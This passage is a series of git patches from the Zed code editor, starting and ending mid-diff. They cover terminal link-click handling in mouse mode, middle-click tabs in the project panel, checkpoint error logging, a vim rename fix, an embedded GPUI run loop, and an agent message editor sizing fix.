             if self.selection_phase == SelectionPhase::Ended {
                 let mouse_cell_index =
@@ -3586,6 +3617,7 @@ mod tests {
             );
             terminal.last_content.terminal_bounds = terminal_bounds;
             terminal.events.clear();
+            terminal.take_pty_write_log();
         });
 
         terminal
@@ -3649,6 +3681,20 @@ mod tests {
         terminal.mouse_down(&mouse_down, cx);
     }
 
+    fn left_mouse_up_at(
+        terminal: &mut Terminal,
+        position: GpuiPoint<Pixels>,
+        cx: &mut Context<Terminal>,
+    ) {
+        let mouse_up = MouseUpEvent {
+            button: MouseButton::Left,
+            position,
+            modifiers: Modifiers::none(),
+            click_count: 1,
+        };
+        terminal.mouse_up(&mouse_up, cx);
+    }
+
     fn left_mouse_drag_to(
         terminal: &mut Terminal,
         position: GpuiPoint<Pixels>,
@@ -4408,6 +4454,166 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_hyperlink_ctrl_click_same_position_in_mouse_mode(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"Visit https://zed.dev/ for more\r\n");
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.last_content.mode = Modes::MOUSE_MODE;
+
+            let click_position = point(px(80.0), px(10.0));
+            ctrl_mouse_down_at(terminal, click_position, cx);
+            ctrl_mouse_up_at(terminal, click_position, cx);
+
+            assert!(
+                terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::ProcessHyperlink(_, true))),
+                "Should have ProcessHyperlink event when ctrl+clicking on same hyperlink position in mouse mode"
+            );
+            assert!(
+                terminal.take_pty_write_log().is_empty(),
+                "a consumed link click must not be reported to the PTY"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_hyperlink_ctrl_click_mismatch_in_mouse_mode_consumes_gesture(
+        cx: &mut TestAppContext,
+    ) {
+        let terminal = init_ctrl_click_hyperlink_test(
+            cx,
+            b"Visit https://zed.dev/ for more\r\nThis is another line\r\n",
+        );
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.last_content.mode = Modes::MOUSE_MODE;
+            terminal.take_pty_write_log();
+
+            let down_position = point(px(80.0), px(10.0));
+            let up_position = point(px(10.0), px(30.0));
+
+            ctrl_mouse_down_at(terminal, down_position, cx);
+            terminal.mouse_move(
+                &MouseMoveEvent {
+                    position: up_position,
+                    pressed_button: Some(MouseButton::Left),
+                    modifiers: Modifiers::secondary_key(),
+                },
+                cx,
+            );
+            ctrl_mouse_up_at(terminal, up_position, cx);
+
+            assert!(
+                !terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::ProcessHyperlink(_, _))),
+                "Should NOT open a link when press and release land on different hyperlinks"
+            );
+            let pty_writes = terminal.take_pty_write_log();
+            assert!(
+                pty_writes.is_empty(),
+                "a captured press must consume the whole gesture, but reports leaked to the PTY: {pty_writes:?}"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_plain_click_on_hyperlink_in_mouse_mode_is_reported(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"Visit https://zed.dev/ for more\r\n");
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.last_content.mode = Modes::MOUSE_MODE;
+            terminal.take_pty_write_log();
+
+            let click_position = point(px(80.0), px(10.0));
+            left_mouse_down_at(terminal, click_position, cx);
+            left_mouse_up_at(terminal, click_position, cx);
+
+            assert!(
+                !terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::ProcessHyperlink(_, _))),
+                "a plain click must not open a link"
+            );
+            let pty_writes = terminal.take_pty_write_log();
+            assert_eq!(
+                pty_writes.len(),
+                2,
+                "expected press and release reports, got {pty_writes:?}"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_ctrl_click_on_non_hyperlink_in_mouse_mode_is_reported(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"Visit https://zed.dev/ for more\r\n");
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.last_content.mode = Modes::MOUSE_MODE;
+            terminal.take_pty_write_log();
+
+            // Past the end of the line: nothing link-like under the cursor.
+            let click_position = point(px(370.0), px(10.0));
+            ctrl_mouse_down_at(terminal, click_position, cx);
+            ctrl_mouse_up_at(terminal, click_position, cx);
+
+            assert!(
+                !terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::ProcessHyperlink(_, _))),
+                "a secondary click off a link must not open anything"
+            );
+            let pty_writes = terminal.take_pty_write_log();
+            assert_eq!(
+                pty_writes.len(),
+                2,
+                "expected press and release reports, got {pty_writes:?}"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_ctrl_click_in_mouse_mode_forwards_when_setting_disabled(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"Visit https://zed.dev/ for more\r\n");
+
+        cx.update_global(|store: &mut settings::SettingsStore, cx| {
+            store.update_user_settings(cx, |settings| {
+                settings
+                    .terminal
+                    .get_or_insert_default()
+                    .open_links_in_mouse_mode = Some(false);
+            });
+        });
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.last_content.mode = Modes::MOUSE_MODE;
+
+            let click_position = point(px(80.0), px(10.0));
+            ctrl_mouse_down_at(terminal, click_position, cx);
+            ctrl_mouse_up_at(terminal, click_position, cx);
+
+            assert!(
+                !terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::ProcessHyperlink(_, _))),
+                "with the setting disabled, ctrl+click must not open links in mouse mode"
+            );
+            let pty_writes = terminal.take_pty_write_log();
+            assert_eq!(
+                pty_writes.len(),
+                2,
+                "expected press and release reports, got {pty_writes:?}"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_hyperlink_ctrl_click_drag_outside_bounds(cx: &mut TestAppContext) {
         let terminal = init_ctrl_click_hyperlink_test(
diff --git a/crates/terminal/src/terminal_settings.rs b/crates/terminal/src/terminal_settings.rs
index 8a31745d67d374..64d76b7de3fccb 100644
--- a/crates/terminal/src/terminal_settings.rs
+++ b/crates/terminal/src/terminal_settings.rs
@@ -35,6 +35,7 @@ pub struct TerminalSettings {
     pub option_as_meta: bool,
     pub copy_on_select: bool,
     pub keep_selection_on_copy: bool,
+    pub open_links_in_mouse_mode: bool,
     pub button: bool,
     pub dock: TerminalDockPosition,
     pub flexible: bool,
@@ -105,6 +106,7 @@ impl settings::Settings for TerminalSettings {
             option_as_meta: user_content.option_as_meta.unwrap(),
             copy_on_select: user_content.copy_on_select.unwrap(),
             keep_selection_on_copy: user_content.keep_selection_on_copy.unwrap(),
+            open_links_in_mouse_mode: user_content.open_links_in_mouse_mode.unwrap(),
             button: user_content.button.unwrap(),
             dock: user_content.dock.unwrap(),
             default_width: px(user_content.default_width.unwrap()),
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 1ca24ef7616ea8..1450b58d6fc002 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -4158,6 +4158,7 @@ List of `integer` column numbers
     "blinking": "terminal_controlled",
     "copy_on_select": false,
     "keep_selection_on_copy": true,
+    "open_links_in_mouse_mode": true,
     "dock": "bottom",
     "default_width": 640,
     "default_height": 320,
@@ -4352,6 +4353,26 @@ List of `integer` column numbers
 }
 ```
 
+### Terminal: Open Links In Mouse Mode
+
+- Description: Whether cmd-click (ctrl-click on Linux and Windows) opens hyperlinks even when the terminal application has enabled mouse reporting (e.g. vim with `mouse=a`, htop). When `false`, these clicks are forwarded to the application instead, and hyperlinks can still be opened with shift-cmd-click (shift-ctrl-click).
+- Setting: `open_links_in_mouse_mode`
+- Default: `true`
+
+**Options**
+
+`boolean` values
+
+**Example**
+
+```json [settings]
+{
+  "terminal": {
+    "open_links_in_mouse_mode": false
+  }
+}
+```
+
 ### Terminal: Env
 
 - Description: Any key-value pairs added to this object will be added to the terminal's environment. Keys must be unique, use `:` to separate multiple values in a single variable
diff --git a/docs/src/terminal.md b/docs/src/terminal.md
index e4e876ab2db480..f1e82ca0955727 100644
--- a/docs/src/terminal.md
+++ b/docs/src/terminal.md
@@ -282,6 +282,16 @@ Common formats recognized:
 - `src/main.rs:42:10` — Opens at line 42, column 10
 - `File "script.py", line 10` — Python tracebacks
 
+By default, `Cmd+Click`/`Ctrl+Click` opens links even when the running application has enabled mouse reporting (e.g. vim with `mouse=a`, htop). If you prefer those clicks to be forwarded to the application instead, disable `open_links_in_mouse_mode`; links can then still be opened with `Shift+Cmd+Click` (`Shift+Ctrl+Click`):
+
+```json
+{
+  "terminal": {
+    "open_links_in_mouse_mode": false
+  }
+}
+```
+
 ## Panel Configuration
 
 ### Dock Position

From a3a4719a8a246e2f4b88a1fdb0d94809726cad5f Mon Sep 17 00:00:00 2001
From: Vlad Roskov <vos@vos.uz>
Date: Wed, 8 Jul 2026 16:06:10 +0300
Subject: [PATCH 333/772] project_panel: Open files in a permanent tab on
 middle click (#60563)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Provide a means of quickly opening a permanent tab from project panel
instead of a preview tab.

Implements #51866 (_Middle click to open file in a new tab_ with 18×↑)
which is also part of #31822 (_Middle Click Improvments_) titled "middle
clicking on a file in the project panel should open the file in a
non-transient state".

With `preview_tabs.enable_preview_from_project_panel` enabled, a click
in the project panel opens a preview tab, and there's no easy gesture to
open a permanent one instead, simplest one currently being a double
click. VS Code and VSCode-based editors recognize middle mouse click as
a way to open a permanent tab since 2016 (microsoft/vscode#14453).

## Solution

Wired up an `on_aux_click` handler for project panel entries:
middle-clicking a file opens it in a permanent tab and focuses it,
regardless of the preview tabs setting.

Added a line to `docs/src/project-panel.md` to reflect the behavior.

## Testing

- Manually tested on Windows: middle click opens a permanent tab,
promotes an existing preview tab to a permanent one if already open,
does nothing for directories
- Haven't tested on macOS/Linux

## Self-Review Checklist:

- [ ] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>


https://github.com/user-attachments/assets/2de5f23d-637f-4ffc-8d03-02dc11714af4

</details>

---

Release Notes:

- Added support for middle-clicking a file in the project panel to open
it in a permanent tab instead of a preview tab
---
 crates/project_panel/src/project_panel.rs | 10 ++++++++++
 docs/src/project-panel.md                 |  2 ++
 2 files changed, 12 insertions(+)

diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 8b830513b2c68c..8b23423a973a1b 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -6015,6 +6015,16 @@ impl ProjectPanel {
                     }
                 }),
             )
+            .on_aux_click(
+                cx.listener(move |project_panel, event: &gpui::ClickEvent, _, cx| {
+                    if !event.is_middle_click() || show_editor || !kind.is_file() {
+                        return;
+                    }
+
+                    project_panel.open_entry(entry_id, true, false, cx);
+                    cx.stop_propagation();
+                }),
+            )
             .child(
                 ListItem::new(id)
                     .indent_level(depth)
diff --git a/docs/src/project-panel.md b/docs/src/project-panel.md
index afee88bbf36864..030177af8f66f4 100644
--- a/docs/src/project-panel.md
+++ b/docs/src/project-panel.md
@@ -21,6 +21,8 @@ project_panel::CollapseAllEntries} collapses every directory at once. {#kb
 project_panel::ExpandAllEntries} expands every directory at once. Press {#kb
 project_panel::Open} or click to preview a selected file, without giving it a
 permanent tab. Editing the file or double-clicking it promotes it to a permanent tab.
+Middle-clicking a file skips the preview and opens it in a permanent, focused tab
+right away.
 
 ### Auto-reveal
 

From 05530c9b354d487bda520a3c74bb02e90988b2fd Mon Sep 17 00:00:00 2001
From: Patryk <110726755+stemper-dev@users.noreply.github.com>
Date: Wed, 8 Jul 2026 20:44:41 +0700
Subject: [PATCH 334/772] acp_thread: Log error when checkpoint comparison
 fails (#59196)

`update_last_checkpoint` swallows `compare_checkpoints` errors with
`.unwrap_or(true)`. The "Restore checkpoint" button silently disappears
and nothing gets logged, which is what made the linked issue painful to
track down in the first place.

The sibling `update_last_checkpoint_if_changed` a few lines up already
handles the same call with `.context(...).log_err()` and an early
return, so I did the same here. On error the checkpoint's visibility is
left alone instead of being forced to hidden. I didn't propagate the
error because the task result gets `?`'d in `run_turn`'s cleanup, and
failing there would leave the panel stuck in its generating state.

Added a regression test that breaks the comparison mid-turn (recreating
`.git` makes the fake repo forget its checkpoints) and asserts an
already-visible checkpoint stays visible. It fails on main and passes
with this change. The new log line shows up when it runs: `failed to
compare checkpoints: invalid left checkpoint: ...`

Closes #59100

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed checkpoint comparison errors silently hiding the "Restore
Checkpoint" button in the agent panel.

Co-authored-by: pstemporowski <110726755+pstemporowski@users.noreply.github.com>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
---
 crates/acp_thread/src/acp_thread.rs | 88 ++++++++++++++++++++++++++++-
 1 file changed, 85 insertions(+), 3 deletions(-)

diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index 2bbda6647af961..9ec28e47d73281 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -4127,12 +4127,16 @@ impl AcpThread {
                 return Ok(());
             };
 
-            let equal = git_store
+            let Some(equal) = git_store
                 .update(cx, |git, cx| {
                     git.compare_checkpoints(old_checkpoint.clone(), new_checkpoint, cx)
                 })
                 .await
-                .unwrap_or(true);
+                .context("failed to compare checkpoints")
+                .log_err()
+            else {
+                return Ok(());
+            };
 
             this.update(cx, |this, cx| {
                 if let Some((ix, message)) = this.user_message_mut(&client_id) {
@@ -4740,7 +4744,7 @@ mod tests {
     use gpui::UpdateGlobal as _;
     use gpui::{App, AsyncApp, TestAppContext, WeakEntity};
     use indoc::indoc;
-    use project::{AgentId, FakeFs, Fs};
+    use project::{AgentId, FakeFs, Fs, RemoveOptions};
     use rand::{distr, prelude::*};
     use serde_json::json;
     use settings::SettingsStore;
@@ -9254,6 +9258,84 @@ mod tests {
         );
     }
 
+    /// This is a regression test for a bug where update_last_checkpoint would
+    /// swallow a checkpoint comparison error and hide an already-visible
+    /// "Restore checkpoint" button without logging anything.
+    #[gpui::test]
+    async fn test_update_last_checkpoint_compare_error_keeps_checkpoint_visible(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(path!("/test"), json!({".git": {}, "file.txt": "content"}))
+            .await;
+        let project = Project::test(fs.clone(), [Path::new(path!("/test"))], cx).await;
+
+        // The handler waits for this signal so the repository can be swapped
+        // out while the turn is still running.
+        let (complete_tx, complete_rx) = futures::channel::oneshot::channel::<()>();
+        let complete_rx = RefCell::new(Some(complete_rx));
+        let connection = Rc::new(FakeAgentConnection::new().on_user_message(
+            move |_, _thread, _cx| {
+                let complete_rx = complete_rx.borrow_mut().take();
+                async move {
+                    if let Some(rx) = complete_rx {
+                        rx.await.ok();
+                    }
+                    Ok(acp::PromptResponse::new(acp::StopReason::EndTurn))
+                }
+                .boxed_local()
+            },
+        ));
+
+        let thread = cx
+            .update(|cx| {
+                connection.new_session(project, PathList::new(&[Path::new(path!("/test"))]), cx)
+            })
+            .await
+            .unwrap();
+
+        let send_future = thread.update(cx, |thread, cx| thread.send_raw("message", cx));
+        let send_task = cx.background_executor.spawn(send_future);
+        cx.run_until_parked();
+
+        // Show the checkpoint, as update_last_checkpoint_if_changed does when
+        // files change during the turn.
+        thread.update(cx, |thread, _| {
+            let (_, message) = thread.last_user_message().unwrap();
+            message.checkpoint.as_mut().unwrap().show = true;
+        });
+
+        // Recreate `.git` so the git store reopens the repository. The fresh
+        // fake repository doesn't contain the checkpoint recorded at send
+        // time, so the end-of-turn comparison fails.
+        fs.remove_dir(
+            Path::new(path!("/test/.git")),
+            RemoveOptions {
+                recursive: true,
+                ignore_if_not_exists: false,
+            },
+        )
+        .await
+        .unwrap();
+        cx.run_until_parked();
+        fs.create_dir(Path::new(path!("/test/.git"))).await.unwrap();
+        cx.run_until_parked();
+
+        complete_tx.send(()).unwrap();
+        send_task.await.unwrap();
+        cx.run_until_parked();
+
+        thread.update(cx, |thread, _| {
+            let (_, message) = thread.last_user_message().unwrap();
+            assert!(
+                message.checkpoint.as_ref().unwrap().show,
+                "a checkpoint comparison failure must not hide the restore checkpoint button"
+            );
+        });
+    }
+
     /// Tests that when a follow-up message is sent during generation,
     /// the first turn completing does NOT clear `running_turn` because
     /// it now belongs to the second turn.

From 86b2831c7c2e210ce150b2771c89dc6bd70ae8a7 Mon Sep 17 00:00:00 2001
From: Neel <neel@zed.dev>
Date: Wed, 8 Jul 2026 15:19:58 +0100
Subject: [PATCH 335/772] editor: Use raw head selection for rename (#60594)

Follow up to https://github.com/zed-industries/zed/pull/55542, which
reused the shifted offset for the rename input's *initial selection*,
cutting it one character short.

<img width="524" height="512" alt="image"
src="https://github.com/user-attachments/assets/37032614-2cfd-4ad4-9005-f2eac57924a1"
/>
<img width="435" height="158" alt="image"
src="https://github.com/user-attachments/assets/7b1b9c52-08d6-48ce-928a-873f6e175f65"
/>

---

Release Notes:

- Fixed symbol rename in vim mode omitting the last character of the
symbol out of the rename input's initial selection
---
 crates/editor/src/editor.rs | 46 +++++++++++++++++++++----------------
 crates/vim/src/helix.rs     |  2 +-
 crates/vim/src/test.rs      |  2 +-
 3 files changed, 28 insertions(+), 22 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 96567329721a9b..87589880b53416 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -7707,16 +7707,21 @@ impl Editor {
         let cursor = self.rename_target_anchor(&selection, cx);
         let (cursor_buffer, cursor_buffer_position) =
             self.buffer.read(cx).text_anchor_for_position(cursor, cx)?;
+        let (head_buffer, head_buffer_position) = self
+            .buffer
+            .read(cx)
+            .text_anchor_for_position(selection.head(), cx)?;
         let (tail_buffer, cursor_buffer_position_end) = self
             .buffer
             .read(cx)
             .text_anchor_for_position(selection.tail(), cx)?;
-        if tail_buffer != cursor_buffer {
+        if tail_buffer != cursor_buffer || head_buffer != cursor_buffer {
             return None;
         }
 
         let snapshot = cursor_buffer.read(cx).snapshot();
         let cursor_buffer_offset = cursor_buffer_position.to_offset(&snapshot);
+        let head_buffer_offset = head_buffer_position.to_offset(&snapshot);
         let cursor_buffer_offset_end = cursor_buffer_position_end.to_offset(&snapshot);
         let prepare_rename = provider.range_for_rename(&cursor_buffer, cursor_buffer_position, cx);
         drop(snapshot);
@@ -7729,7 +7734,9 @@ impl Editor {
                     let rename_buffer_range = rename_range.to_offset(&snapshot);
                     let cursor_offset_in_rename_range =
                         cursor_buffer_offset.saturating_sub(rename_buffer_range.start);
-                    let cursor_offset_in_rename_range_end =
+                    let head_offset_in_rename_range =
+                        head_buffer_offset.saturating_sub(rename_buffer_range.start);
+                    let tail_offset_in_rename_range =
                         cursor_buffer_offset_end.saturating_sub(rename_buffer_range.start);
 
                     this.take_rename(false, window, cx);
@@ -7770,24 +7777,23 @@ impl Editor {
                                 cx,
                             )
                         });
-                        let cursor_offset_in_rename_range =
-                            MultiBufferOffset(cursor_offset_in_rename_range);
-                        let cursor_offset_in_rename_range_end =
-                            MultiBufferOffset(cursor_offset_in_rename_range_end);
-                        let rename_selection_range = match cursor_offset_in_rename_range
-                            .cmp(&cursor_offset_in_rename_range_end)
-                        {
-                            Ordering::Equal => {
-                                editor.select_all(&SelectAll, window, cx);
-                                return editor;
-                            }
-                            Ordering::Less => {
-                                cursor_offset_in_rename_range..cursor_offset_in_rename_range_end
-                            }
-                            Ordering::Greater => {
-                                cursor_offset_in_rename_range_end..cursor_offset_in_rename_range
-                            }
-                        };
+                        let head_offset_in_rename_range =
+                            MultiBufferOffset(head_offset_in_rename_range);
+                        let tail_offset_in_rename_range =
+                            MultiBufferOffset(tail_offset_in_rename_range);
+                        let rename_selection_range =
+                            match head_offset_in_rename_range.cmp(&tail_offset_in_rename_range) {
+                                Ordering::Equal => {
+                                    editor.select_all(&SelectAll, window, cx);
+                                    return editor;
+                                }
+                                Ordering::Less => {
+                                    head_offset_in_rename_range..tail_offset_in_rename_range
+                                }
+                                Ordering::Greater => {
+                                    tail_offset_in_rename_range..head_offset_in_rename_range
+                                }
+                            };
                         if rename_selection_range.end.0 > old_name.len() {
                             editor.select_all(&SelectAll, window, cx);
                         } else {
diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index 79c65b227bb942..2ab20aef36e4a7 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -4350,7 +4350,7 @@ mod test {
             .set_request_handler::<lsp::request::PrepareRenameRequest, _, _>(
                 move |_, params, _| async move {
                     assert_eq!(params.position, expected_position);
-                    Ok(Some(lsp::PrepareRenameResponse::Range(def_range)))
+                    Ok(Some(lsp::PrepareRenameResponse::Range(tgt_range)))
                 },
             );
         let mut rename_request = cx.set_request_handler::<lsp::request::Rename, _, _>(
diff --git a/crates/vim/src/test.rs b/crates/vim/src/test.rs
index c426127dc075d7..4a874591f72b3f 100644
--- a/crates/vim/src/test.rs
+++ b/crates/vim/src/test.rs
@@ -1272,7 +1272,7 @@ async fn test_visual_rename_uses_visible_cursor_position(cx: &mut gpui::TestAppC
     let mut prepare_request = cx.set_request_handler::<lsp::request::PrepareRenameRequest, _, _>(
         move |_, params, _| async move {
             assert_eq!(params.position, expected_position);
-            Ok(Some(lsp::PrepareRenameResponse::Range(def_range)))
+            Ok(Some(lsp::PrepareRenameResponse::Range(tgt_range)))
         },
     );
     let mut rename_request =

From 74798c68d5c63d31e2ccca5c8f5ec0a02c90679c Mon Sep 17 00:00:00 2001
From: Mikayla Maki <mikayla@zed.dev>
Date: Wed, 8 Jul 2026 08:46:41 -0700
Subject: [PATCH 336/772] gpui: Add run_embedded and ApplicationHandle for
 externally driven run loops (#60574)

On ordinary platforms, `Platform::run` blocks for the lifetime of the
app, and `Application::run`'s stack frame keeps the app state alive.
Embedded platforms invert that: the run loop belongs to someone else.

`Application::run_embedded` supports that shape: it starts the app
exactly like `run()`, but returns an `ApplicationHandle` holding the
strong app handle.

Release Notes:

- N/A
---
 crates/gpui/src/app.rs | 47 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index e6ca25ecae075e..0467c3e4fd8562 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -143,6 +143,31 @@ impl Drop for AppRefMut<'_> {
 /// You won't interact with this type much outside of initial configuration and startup.
 pub struct Application(Rc<AppCell>);
 
+/// A strong handle to an [`Application`] started with [`Application::run_embedded`].
+///
+/// Dropping this handle releases the app, so an embedder must hold it for as long as the
+/// app should run. While held, it is the embedder's entry point back into GPUI each time
+/// the external run loop gives it control.
+pub struct ApplicationHandle {
+    app: Rc<AppCell>,
+}
+
+impl ApplicationHandle {
+    /// Invoke `f` with the app context. Must not be called re-entrantly from code that
+    /// is already inside an update; the app state is a `RefCell` and will panic on a
+    /// double borrow.
+    pub fn update<R>(&self, f: impl FnOnce(&mut App) -> R) -> R {
+        let cx = &mut *self.app.borrow_mut();
+        f(cx)
+    }
+
+    /// An [`AsyncApp`] for use across await points. It holds the app weakly; keeping the
+    /// app alive remains this handle's job.
+    pub fn to_async(&self) -> AsyncApp {
+        self.update(|cx| cx.to_async())
+    }
+}
+
 /// Represents an application before it is fully launched. Once your app is
 /// configured, you'll start the app with `App::run`.
 impl Application {
@@ -209,6 +234,28 @@ impl Application {
         }));
     }
 
+    /// Start the application for an embedder that drives the run loop itself.
+    ///
+    /// On ordinary platforms `Platform::run` blocks for the lifetime of the app, and the
+    /// app state is kept alive by [`Application::run`]'s stack frame. Embedded platforms —
+    /// where the run loop belongs to someone else, e.g. GPUI compiled into a Wasm guest,
+    /// or a GPUI view hosted inside a foreign native application — implement
+    /// `Platform::run` to invoke the launch callback and return immediately. This method
+    /// supports that shape: it returns an [`ApplicationHandle`] that keeps the app alive
+    /// and lets the embedder re-enter it whenever the external run loop yields control.
+    pub fn run_embedded<F>(self, on_finish_launching: F) -> ApplicationHandle
+    where
+        F: 'static + FnOnce(&mut App),
+    {
+        let this = self.0.clone();
+        let platform = self.0.borrow().platform.clone();
+        platform.run(Box::new(move || {
+            let cx = &mut *this.borrow_mut();
+            on_finish_launching(cx);
+        }));
+        ApplicationHandle { app: self.0 }
+    }
+
     /// Register a handler to be invoked when the platform instructs the application
     /// to open one or more URLs.
     pub fn on_open_urls<F>(&self, mut callback: F) -> &Self

From c80020231bcc38c03db562d3c619dae20f1ab193 Mon Sep 17 00:00:00 2001
From: soddygo <soddygo@qq.com>
Date: Wed, 8 Jul 2026 23:52:26 +0800
Subject: [PATCH 337/772] agent_ui: Fix expanded message editor staying
 auto-height during streaming (#55916)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (Unsafe: none)
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


## Summary
When the agent is streaming output, expanding the message editor can
appear to work (the container grows) but the input editor itself remains
constrained to auto-height (only a few lines). Toggling minimize →
expand makes it render correctly.

This PR ensures the message editor stays in full mode while expanded,
preventing automatic editor mode syncing on thread updates from
overriding the user's explicit expand action during streaming.

## Steps to reproduce
1. Start an agent thread and send a message that causes streaming output
2. While streaming, click “Expand Message Editor”
3. Observe the input editor still shows only a few lines (auto-height)
4. Click “Minimize Message Editor” and then expand again; it becomes
fully expanded

## Test plan
- Start an agent thread and let it stream
- Click “Expand Message Editor” while streaming
- Verify the editor actually expands (not limited to the auto-height max
lines)
- Toggle minimize/expand multiple times during streaming; verify it
remains correct

## Additional context
Repro video:


https://github.com/user-attachments/assets/6e328fa8-d431-456a-b70a-864ae617ea88



Release Notes:

- Fixed message editor not fully expanding during agent generation

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/agent_ui/src/conversation_view.rs      |  4 +-
 .../src/conversation_view/thread_view.rs      | 38 +++++++------------
 2 files changed, 16 insertions(+), 26 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 65632e9406b03e..110961b34f1a48 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -1614,7 +1614,7 @@ impl ConversationView {
                     });
                     active.update(cx, |active, cx| {
                         active.sync_elicitation_state_for_entry(index, window, cx);
-                        active.sync_editor_mode_for_empty_state(cx);
+                        active.sync_editor_mode(cx);
                         active.sync_generating_indicator(cx);
                     });
                 }
@@ -1641,7 +1641,7 @@ impl ConversationView {
                     entry_view_state.update(cx, |view_state, _cx| view_state.remove(range.clone()));
                     list_state.splice(range.clone(), 0);
                     active.update(cx, |active, cx| {
-                        active.sync_editor_mode_for_empty_state(cx);
+                        active.sync_editor_mode(cx);
                     });
                 }
             }
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 90ea600ff5f17c..fe8b7b29233acd 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -1036,7 +1036,7 @@ impl ThreadView {
         };
 
         this.sync_generating_indicator(cx);
-        this.sync_editor_mode_for_empty_state(cx);
+        this.sync_editor_mode(cx);
         this.sync_existing_elicitation_states(window, cx);
         let list_state_for_scroll = this.list_state.clone();
         let thread_view = cx.entity().downgrade();
@@ -2373,27 +2373,7 @@ impl ThreadView {
 
     pub fn set_editor_is_expanded(&mut self, is_expanded: bool, cx: &mut Context<Self>) {
         self.editor_expanded = is_expanded;
-        self.message_editor.update(cx, |editor, cx| {
-            if is_expanded {
-                editor.set_mode(
-                    EditorMode::Full {
-                        scale_ui_elements_with_buffer_font_size: false,
-                        show_active_line_background: false,
-                        sizing_behavior: SizingBehavior::ExcludeOverscrollMargin,
-                    },
-                    cx,
-                )
-            } else {
-                let agent_settings = AgentSettings::get_global(cx);
-                editor.set_mode(
-                    EditorMode::AutoHeight {
-                        min_lines: agent_settings.message_editor_min_lines,
-                        max_lines: Some(agent_settings.set_message_editor_max_lines()),
-                    },
-                    cx,
-                )
-            }
-        });
+        self.sync_editor_mode(cx);
         cx.notify();
     }
 
@@ -7104,11 +7084,21 @@ impl ThreadView {
         open_markdown_in_workspace(thread_title, markdown, workspace, window, cx)
     }
 
-    pub(crate) fn sync_editor_mode_for_empty_state(&mut self, cx: &mut Context<Self>) {
+    pub(crate) fn sync_editor_mode(&mut self, cx: &mut Context<Self>) {
         let has_messages = self.list_state.item_count() > 0;
         let v2_empty_state = !has_messages;
 
-        let mode = if v2_empty_state {
+        if !has_messages {
+            self.editor_expanded = false;
+        }
+
+        let mode = if self.editor_expanded {
+            EditorMode::Full {
+                scale_ui_elements_with_buffer_font_size: false,
